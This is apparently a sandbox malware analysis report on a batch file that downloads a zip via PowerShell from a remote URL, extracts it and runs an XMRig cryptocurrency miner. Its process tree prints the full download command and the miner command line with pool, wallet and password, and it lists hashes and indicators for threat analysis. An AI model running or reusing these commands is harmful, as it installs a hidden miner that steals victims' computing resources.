Analysis

  • max time kernel
    1794s
  • max time network
    1796s
  • platform
    windows10-1703_x64
  • resource
    win10-20231020-en
  • resource tags

    arch:x64arch:x86image:win10-20231020-enlocale:en-usos:windows10-1703-x64system
  • submitted
    10/12/2023, 22:52

General

  • Target

    tesy - Copy (10).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3184
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5040
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1964
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4520
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4248

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    943b7f51b5dd8b4e491bf8cb7c228ac5

    SHA1

    a43f6d5d9a6d26a11ccbb849e3309e2d84ad6677

    SHA256

    0ab5bc6b267ae36468c4553815988d94b3d94dd0fe60402174ee4664f8fbeda7

    SHA512

    0321c1f5162e5d581f327066f3940890d2dcc011fcdaaa14ace0863933a49683ed8baccf20918b4caf1a70a1f32bed5ef36809c4cddc2f9bf702ccfb813e3fe3

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fkw3fsuc.tkl.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\test1.zip

    Filesize

    3.0MB

    MD5

    739e77d39ef6e97e69da32e4a8d59ee7

    SHA1

    5290df31a677c23c03fe12c451b5c04e52a43f44

    SHA256

    21032f59fbd536110a1610babe3956573f94db83fbf8a159b71ad8e341c3afbd

    SHA512

    86166a88c68e0096d3022340f276fa51c62f9cb07fc5cb77b06752167e9262822b3575b64ddce0204f807bc16eba749201880f054b3235e3ba660d5f73326859

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    278B

    MD5

    080123b6eac4a332d3f2b11f6eb3aa54

    SHA1

    8f3d40eae881e3b871cff2aa85521d727ada2a64

    SHA256

    cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

    SHA512

    0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    1.1MB

    MD5

    36bfbd5abf30a384e080e9e7ca11d914

    SHA1

    cff1bceb5d2ae4544a7196c23021d44e510e0ded

    SHA256

    ff740c54d86fdc80f02cb99fe137779c552b923bf7ac897023d795907a7704e1

    SHA512

    a7313256769b96216dd0e98bf82682a1cd43d3194b4deea3443a9c85aaaeb0a518c4026cc250f205b4e625b548038f11175e4e7d16613d845019f1233fc5041e

  • memory/1964-37-0x00000274183B0000-0x00000274183C0000-memory.dmp

    Filesize

    64KB

  • memory/1964-38-0x00000274183B0000-0x00000274183C0000-memory.dmp

    Filesize

    64KB

  • memory/1964-99-0x00007FFC70AB0000-0x00007FFC7149C000-memory.dmp

    Filesize

    9.9MB

  • memory/1964-62-0x00000274183B0000-0x00000274183C0000-memory.dmp

    Filesize

    64KB

  • memory/1964-76-0x0000027418620000-0x0000027418632000-memory.dmp

    Filesize

    72KB

  • memory/1964-89-0x0000027418600000-0x000002741860A000-memory.dmp

    Filesize

    40KB

  • memory/1964-35-0x00007FFC70AB0000-0x00007FFC7149C000-memory.dmp

    Filesize

    9.9MB

  • memory/4248-131-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-137-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-171-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-103-0x000002B6E7500000-0x000002B6E7520000-memory.dmp

    Filesize

    128KB

  • memory/4248-104-0x000002B6E7660000-0x000002B6E76A0000-memory.dmp

    Filesize

    256KB

  • memory/4248-105-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-106-0x000002B6E76A0000-0x000002B6E76C0000-memory.dmp

    Filesize

    128KB

  • memory/4248-107-0x000002B6E76C0000-0x000002B6E76E0000-memory.dmp

    Filesize

    128KB

  • memory/4248-108-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-109-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-110-0x000002B6E76A0000-0x000002B6E76C0000-memory.dmp

    Filesize

    128KB

  • memory/4248-111-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-112-0x000002B6E76C0000-0x000002B6E76E0000-memory.dmp

    Filesize

    128KB

  • memory/4248-113-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-114-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-115-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-116-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-117-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-118-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-119-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-120-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-121-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-122-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-123-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-124-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-125-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-126-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-127-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-128-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-129-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-130-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-170-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-132-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-133-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-134-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-135-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-136-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-169-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-138-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-139-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-140-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-141-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-142-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-143-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-144-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-145-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-146-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-147-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-148-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-149-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-150-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-151-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-152-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-153-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-154-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-155-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-156-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-157-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-158-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-159-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-160-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-161-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-162-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-163-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-164-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-165-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-166-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-167-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/4248-168-0x00007FF6B1610000-0x00007FF6B2113000-memory.dmp

    Filesize

    11.0MB

  • memory/5040-9-0x000001B1D6690000-0x000001B1D66A0000-memory.dmp

    Filesize

    64KB

  • memory/5040-4-0x000001B1D67A0000-0x000001B1D67C2000-memory.dmp

    Filesize

    136KB

  • memory/5040-7-0x000001B1D6690000-0x000001B1D66A0000-memory.dmp

    Filesize

    64KB

  • memory/5040-5-0x00007FFC70AB0000-0x00007FFC7149C000-memory.dmp

    Filesize

    9.9MB

  • memory/5040-10-0x000001B1D6950000-0x000001B1D69C6000-memory.dmp

    Filesize

    472KB

  • memory/5040-25-0x000001B1D6690000-0x000001B1D66A0000-memory.dmp

    Filesize

    64KB

  • memory/5040-30-0x00007FFC70AB0000-0x00007FFC7149C000-memory.dmp

    Filesize

    9.9MB